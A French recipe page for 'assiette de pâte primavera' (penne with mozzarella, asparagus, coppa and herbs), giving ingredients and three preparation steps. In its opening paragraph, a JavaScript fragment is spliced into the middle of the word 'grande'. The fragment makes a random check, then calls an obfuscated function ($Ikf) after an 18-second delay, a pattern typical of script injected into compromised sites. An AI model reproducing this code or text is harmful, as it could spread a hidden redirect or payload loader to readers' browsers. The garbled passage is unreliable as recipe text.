Assiette de pâte primavera

2018-02-19

Niveau : Difficile

Ciselez les tiges vertes des oignons. Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée, portez à ébullition. Plongez les pâtes à nouveau et faites les cuire en respectant le temps de cuisson indiqué sur le paquet en les gardant al dente. Les égoutter

Ingrédients

Pour 4 personnes
200 g de pâte (Pennes)
8 petites boules de mozzarella
24 asperges vertes primeurs cuites
12 tranches fines de coppa
Les tiges vertes d'une botte d'oignons
Thym frais
Un peu de sarriette
Huile d'olive
Poivre les 4 baies

Préparation de la recette

Etape 1

Ciselez les tiges vertes des oignons. Dans une grande quantité d'eau bouillante salée, portez à ébullition. Plongez les pâtes à nouveau et faites les cuire en respectant le temps de cuisson indiqué sur le paquet en les gardant al dente. Les égoutter

Etape 2

Dans une poêle sur feu vif, Faites griller les tranches de coppa rapidement. Répartissez les pâtes dans chaque assiette, répartissez quelques pincées de thym frais, de la sarriette, les tranches de coppa, les asperges vertes, arrosez d'un filet d'huile d'olive.

Etape 3

Déposez autour les petites boules de mozzarella et dégustez.